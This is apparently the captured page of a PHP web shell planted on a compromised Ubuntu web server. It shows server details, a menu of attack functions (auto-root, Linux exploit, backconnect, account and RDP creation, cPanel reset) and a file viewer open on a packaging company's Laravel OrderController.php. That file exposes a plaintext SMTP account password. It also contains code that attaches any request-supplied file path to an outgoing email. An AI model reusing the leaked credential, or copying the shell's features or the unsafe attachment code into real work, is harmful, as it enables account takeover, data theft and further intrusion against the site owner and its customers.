Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.63.203
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
justhub /
source /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Client
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
BlogController.php
2.11
KB
-rw-r--r--
ClientsController.php
17.33
KB
-rw-r--r--
Controller.php
361
B
-rw-r--r--
ExportController.php
3.53
KB
-rw-r--r--
HomeController.php
76.48
KB
-rw-r--r--
LoginController.php
1.65
KB
-rw-r--r--
MailController.php
1.88
KB
-rw-r--r--
OrderController.php
25.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderController.php
<?php namespace App\Http\Controllers; use App\Models\Order; use App\Models\Review; use App\Models\Subscriber; use Illuminate\Http\Request; use Illuminate\Support\Facades\Mail; use Illuminate\Support\Facades\Validator; class OrderController extends Controller { public function beatMyQuote(){ return view('beat_my_quote',['title'=>'Beat My Quote']); } public function beatMyQuotePost(Request $request){ try { $validator = Validator::make($request->all(), [ 'captcha' => 'required', 'num1' => 'required', 'num2' => 'required', // 'product_name' => 'required' ]); if ($validator->fails()) { return redirect()->back()->with(['error' => $validator->errors()->first()])->withInput(); } $num1 = isset($_POST['num1']) ? $_POST['num1'] : ""; $num2 = isset($_POST['num2']) ? $_POST['num2'] : ""; $total = isset($_POST['captcha']) ? $_POST['captcha'] : ""; if($num1 + $num2 != $total ) { return redirect()->back()->with(['error'=>"Captcha value is wrong."])->withInput(); } $product_id = $request->input('product_id'); $orderID = "OXO-".$product_id."-".date('YmjHis'); $form_input_Data = array( 'order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_subject' => $request->input('product_name'), 'product_length' => $request->input('product_length'), 'product_width' => $request->input('product_width'), 'product_depth' => $request->input('product_depth'), 'measurement_unit' =>$request->input('measurement-units'), 'product_stocks' => $request->input('product_stocks'), 'product_colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'qtype' => $request->input('qtype'), 'contact_name' => $request->input('contact_name'), 'contact_email' => $request->input('contact_email'), 'contact_phone' => $request->input('contact_phone'), 'message' => $request->input('message'), 'status' => 'P', 'order_date' => date('Y-m-j H:i:s') ); $order=Order::create($form_input_Data); $file_path=''; if($request->file('artwork_file')){ $file=$request->file('artwork_file'); $path='assets/order/'.$order->id; $file_name=time().str_replace(' ','_',$file->getClientOriginalName()); $file->move($path,$file_name); $file_path=$path.'/'.$file_name; Order::whereId($order->id)->update(['artwork_file'=>$file_name]); } Mail::send('emails.beat_my_quote',['order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_name' => $request->input('product_name'), 'length' => $request->input('product_length'), 'width' => $request->input('product_width'), 'depth' => $request->input('product_depth'), 'measurement_units' =>$request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'name' => $request->input('contact_name'), 'email' => $request->input('contact_email'), 'phone' => $request->input('contact_phone'), 'detail' => $request->input('message'), 'qtype' => $request->input('qtype'), 'current_url'=> $request->input('current_url'), 'order_date' => date('Y-m-j H:i:s')],function ($mail)use($file_path,$request) { $mail->to('sales@oxopackaging.com',$request->input('contact_name'))->subject('Beat My Quote - OXO Packaging'); // $mail->bcc('bilal.rasheed@inno8.net','Sales')->subject('New Order - OXO Packaging'); if(!empty($file_path)){ $mail->attach($file_path); } }); Mail::send('emails.thank_you',[ 'current_url'=> $request->input('current_url')],function ($mail)use($request){ $mail->to($request->input('contact_email'),$request->input('contact_name'))->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['error'=>$exception->getMessage()]); } } public function getQuotes(Request $request){ try { $validator = Validator::make($request->all(), [ 'captcha' => 'required', 'num1' => 'required', 'num2' => 'required', // 'product_name' => 'required' ]); if ($validator->fails()) { return redirect()->back()->with(['error' => $validator->errors()->first()])->withInput(); } $num1 = isset($_POST['num1']) ? $_POST['num1'] : ""; $num2 = isset($_POST['num2']) ? $_POST['num2'] : ""; $total = isset($_POST['captcha']) ? $_POST['captcha'] : ""; if( $num1 +$num2 != $total ) { return redirect()->back()->with(['error'=>"Captcha value is wrong."])->withInput(); } $previouPageUrl = $_SERVER['HTTP_REFERER']; $product_id = $request->input('product_id'); $orderID = "OXO-" . $product_id . "-" . date('YmjHis'); $form_input_Data = array( 'order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_subject' => $request->input('product_name'), 'product_length' => $request->input('product_length'), 'product_width' => $request->input('product_width'), 'product_depth' => $request->input('product_depth'), 'measurement_unit' => $request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'qtype' => $request->input('qtype'), 'color' => $request->input('color'), 'quantity' => $request->input('quantity'), 'contact_name' => $request->input('contact_name'), 'contact_email' => $request->input('contact_email'), 'contact_phone' => $request->input('contact_phone'), 'message' => $request->input('message'), 'status' => 'P', 'order_date' => date('Y-m-j H:i:s') ); $order = Order::create($form_input_Data); Mail::send('emails.get_quote', ['order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_name' => $request->input('product_name'), 'length' => $request->input('product_length'), 'width' => $request->input('product_width'), 'qtype' => $request->input('qtype'), 'depth' => $request->input('product_depth'), 'measurement_units' => $request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'name' => $request->input('contact_name'), 'email' => $request->input('contact_email'), 'phone' => $request->input('contact_phone'), 'detail' => $request->input('message'), 'current_url' => $request->input('current_url')], function ($mail) use ($request) { $mail->to('sales@oxopackaging.com', $request->input('contact_name'))->subject('Product Quote - OXO Packaging'); }); Mail::send('emails.thank_you', [], function ($mail) use ($request) { $mail->to($request->input('contact_email'), $request->input('contact_name'))->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('product_thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('product_thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('product_thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['error'=>$exception->getMessage()]); } } public function InstantQuote(Request $request){ try { $validator = Validator::make($request->all(), [ 'captcha' => 'required', 'num1' => 'required', 'num2' => 'required', // 'product_name' => 'required' ]); if ($validator->fails()) { return redirect()->back()->with(['error' => $validator->errors()->first()])->withInput(); } $num1 = isset($_POST['num1']) ? $_POST['num1'] : ""; $num2 = isset($_POST['num2']) ? $_POST['num2'] : ""; $total = isset($_POST['captcha']) ? $_POST['captcha'] : ""; if( $num1 +$num2 != $total ) { return redirect()->back()->with(['error'=>"Captcha value is wrong."])->withInput(); } $previouPageUrl = $_SERVER['HTTP_REFERER']; $product_id = $request->input('product_id'); $orderID = "OXO-" . $product_id . "-" . date('YmjHis'); $form_input_Data = array( 'order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_subject' => $request->input('product_name'), 'product_length' => $request->input('product_length'), 'product_width' => $request->input('product_width'), 'product_depth' => $request->input('product_depth'), 'measurement_unit' => $request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'qtype' => $request->input('qtype'), 'color' => $request->input('color'), 'quantity' => $request->input('quantity'), 'contact_name' => $request->input('contact_name'), 'contact_email' => $request->input('contact_email'), 'contact_phone' => $request->input('contact_phone'), 'message' => $request->input('message'), 'status' => 'P', 'order_date' => date('Y-m-j H:i:s') ); $order = Order::create($form_input_Data); Mail::send('emails.get_quote', ['order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_name' => $request->input('product_name'), 'length' => $request->input('product_length'), 'width' => $request->input('product_width'), 'qtype' => $request->input('qtype'), 'depth' => $request->input('product_depth'), 'measurement_units' => $request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'name' => $request->input('contact_name'), 'email' => $request->input('contact_email'), 'phone' => $request->input('contact_phone'), 'detail' => $request->input('message'), 'current_url' => $request->input('current_url')], function ($mail) use ($request) { $mail->to('sales@oxopackaging.com', $request->input('contact_name'))->subject('Instant Product Quote - OXO Packaging'); }); Mail::send('emails.thank_you', [], function ($mail) use ($request) { $mail->to($request->input('contact_email'), $request->input('contact_name'))->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('instant_thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('instant_thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('instant_thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['error'=>$exception->getMessage()]); } } public function getQuote(Request $request){ try { $validator = Validator::make($request->all(), [ 'captcha' => 'required', 'num1' => 'required', 'num2' => 'required', // 'product_name' => 'required' ]); if ($validator->fails()) { return redirect()->back()->with(['error' => $validator->errors()->first()])->withInput(); } $num1 = isset($_POST['num1']) ? $_POST['num1'] : ""; $num2 = isset($_POST['num2']) ? $_POST['num2'] : ""; $total = isset($_POST['captcha']) ? $_POST['captcha'] : ""; if( $num1 + $num2 != $total ) { return (string) redirect()->back('#get_quote')->with(['error'=>"Captcha value is wrong."])->withInput(); } $previouPageUrl = $_SERVER['HTTP_REFERER']; $product_id = $request->input('product_id'); $orderID = "OXO-".$product_id."-".date('YmjHis'); $form_input_Data = array( 'order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_subject' => $request->input('product_name'), 'product_length' => $request->input('product_length'), 'product_width' => $request->input('product_width'), 'product_depth' => $request->input('product_depth'), 'measurement_unit' =>$request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'color' => $request->input('color'), 'qtype' => $request->input('qtype'), 'quantity' => $request->input('quantity'), 'contact_name' => $request->input('contact_name'), 'contact_email' => $request->input('contact_email'), 'contact_phone' => $request->input('contact_phone'), 'message' => $request->input('message'), 'status' => 'P', 'order_date' => date('Y-m-j H:i:s') ); $order=Order::create($form_input_Data); Mail::send('emails.get_quote',['order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_name' => $request->input('product_name'), 'length' => $request->input('product_length'), 'qtype' => $request->input('qtype'), 'width' => $request->input('product_width'), 'depth' => $request->input('product_depth'), 'measurement_units' =>$request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'name' => $request->input('contact_name'), 'email' => $request->input('contact_email'), 'phone' => $request->input('contact_phone'), 'detail' => $request->input('message'), 'current_url'=> $request->input('current_url')],function ($mail)use($request){ $mail->to('sales@oxopackaging.com',$request->input('contact_name'))->subject('Category Quote - OXO Packaging'); }); Mail::send('emails.thank_you',[],function ($mail)use($request){ $mail->to($request->input('contact_email'),$request->input('contact_name'))->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('category_thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('category_thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('category_thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['error'=>$exception->getMessage()]); } } public function HomegetQuote(Request $request){ try { $validator = Validator::make($request->all(), [ 'captcha' => 'required', 'num1' => 'required', 'num2' => 'required', // 'product_name' => 'required' ]); if ($validator->fails()) { return redirect()->back()->with(['error' => $validator->errors()->first()])->withInput(); } $num1 = isset($_POST['num1']) ? $_POST['num1'] : ""; $num2 = isset($_POST['num2']) ? $_POST['num2'] : ""; $total = isset($_POST['captcha']) ? $_POST['captcha'] : ""; if( $num1 + $num2 != $total ) { return (string) redirect()->back('#get_quote')->with(['error'=>"Captcha value is wrong."])->withInput(); } $previouPageUrl = $_SERVER['HTTP_REFERER']; $product_id = $request->input('product_id'); $orderID = "OXO-".$product_id."-".date('YmjHis'); $form_input_Data = array( 'order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_subject' => $request->input('product_name'), 'product_length' => $request->input('product_length'), 'product_width' => $request->input('product_width'), 'product_depth' => $request->input('product_depth'), 'measurement_unit' =>$request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'color' => $request->input('color'), 'qtype' => $request->input('qtype'), 'quantity' => $request->input('quantity'), 'contact_name' => $request->input('contact_name'), 'contact_email' => $request->input('contact_email'), 'contact_phone' => $request->input('contact_phone'), 'message' => $request->input('message'), 'status' => 'P', 'order_date' => date('Y-m-j H:i:s') ); $order=Order::create($form_input_Data); Mail::send('emails.get_quote',['order_id' => $orderID, 'product_id' => $request->input('product_id'), 'product_name' => $request->input('product_name'), 'length' => $request->input('product_length'), 'qtype' => $request->input('qtype'), 'width' => $request->input('product_width'), 'depth' => $request->input('product_depth'), 'measurement_units' =>$request->input('measurement_units'), 'product_stocks' => $request->input('product_stocks'), 'colors' => $request->input('color'), 'quantity' => $request->input('quantity'), 'name' => $request->input('contact_name'), 'email' => $request->input('contact_email'), 'phone' => $request->input('contact_phone'), 'detail' => $request->input('message'), 'current_url'=> $request->input('current_url')],function ($mail)use($request){ $mail->to('sales@oxopackaging.com',$request->input('contact_name'))->subject('Home Quote - OXO Packaging'); }); Mail::send('emails.thank_you',[],function ($mail)use($request){ $mail->to($request->input('contact_email'),$request->input('contact_name'))->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('home_thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('home_thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('home_thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['error'=>$exception->getMessage()]); } } public function thankYou(){ return view('thank_you',[ 'meta_title'=>'Thank You' ]); } public function instantthankYou(){ return view('thank_you',[ 'meta_title'=>'Thank You' ]); } public function categorythankYou(){ return view('thank_you',[ 'meta_title'=>'Thank You' ]); } public function homethankYou(){ return view('thank_you',[ 'meta_title'=>'Thank You' ]); } public function productthankYou(){ return view('thank_you',[ 'meta_title'=>'Thank You' ]); } public function PostReview(Request $request){ echo '<pre>'; print_r($request->all()); $someModel = new Review(); $someModel->setConnection('mysql2'); $deal_review=array( 'question_one'=>'22232', 'question_two'=>'sddsadasd', 'deal_id'=>11 ); $something = $someModel->create($deal_review); return $something; exit; } public function review(){ return view('review',[ 'meta_title'=>'Review' ]); } public function subscribe(Request $request){ try{ $email = $request->input('email'); $form_input_Data = array( 'subscriber_email' => trim($email), 'created' => date('Y-m-j H:i:s') ); Subscriber::create($form_input_Data); Mail::send('emails.subscribe',['email' => $email, ],function ($mail)use($email){ $mail->to('sales@oxopackaging.com',$email)->subject('News Letter Subscription - OXO Packaging'); // $mail->bcc('bilal.rasheed@inno8.net','Sales')->subject('New Order - OXO Packaging'); }); if ($request['gclid']){ return redirect()->route('thank_you',['gclid'=>$request['gclid']]); }elseif ($request['MSCLKID']){ return redirect()->route('thank_you',['MSCLKID'=>$request['MSCLKID']]); }else{ return redirect()->route('thank_you'); } }catch (\Exception $exception){ return redirect()->back()->with(['subscribe_error'=>$exception->getMessage()]); } } public function sendAustraliaEmail(Request $request){ try { $config = array( 'driver' => 'smtp', 'transport' => 'smtp', 'host' => "smtp.office365.com", 'port' => 587, 'encryption' => "tls", 'username' => "sales@oxopackaging.com.au", 'password' =>"50G!sh0w!IQMR@Nc", 'from' => array('address' => 'sales@oxopackaging.com.au', 'name' => "Sales Department"), 'sendmail' => '/usr/sbin/sendmail -bs', 'pretend' => false, ); \Config::set('mail', $config); Mail::send('emails.get_quote_au',['order_id' => $request['order_id'], 'product_id' => $request['product_id'], 'product_name' => $request['product_subject'], 'length' => $request['product_length'], 'width' => $request['product_width'], 'depth' => $request['product_depth'], 'measurement_units' =>$request['measurement_unit'], 'product_stocks' => isset($request['product_stocks'])?$request['product_stocks']:'', 'colors' => $request['product_colors'], 'quantity' => $request['quantity'], 'name' => $request['contact_name'], 'email' => $request['contact_email'], 'phone' => $request['contact_phone'], 'detail' => $request['message'], 'current_url'=> $request['current_url'] ], function ($mail)use($request){ $mail->to('sales@oxopackaging.com.au',$request['contact_name'])->subject('Product Quote - OXO Packaging.au'); $mail->bcc('salman@oxopackaging.com.au',$request['contact_name'])->subject('New Order - OXO Packaging.au'); if(isset($request['path'])&&!empty($request['path'])){ $mail->attach($request['path']); } }); Mail::send('emails.thank_you_au',[],function ($mail)use($request){ $mail->to($request['contact_email'],$request['contact_name'])->subject('Thank You'); }); return response()->json([ 'success'=>[ 'message'=>'Test' ] ]); }catch (\Exception $exception){ return response()->json([ 'success'=>[ 'message'=>$exception->getMessage() ] ]); } } }
Close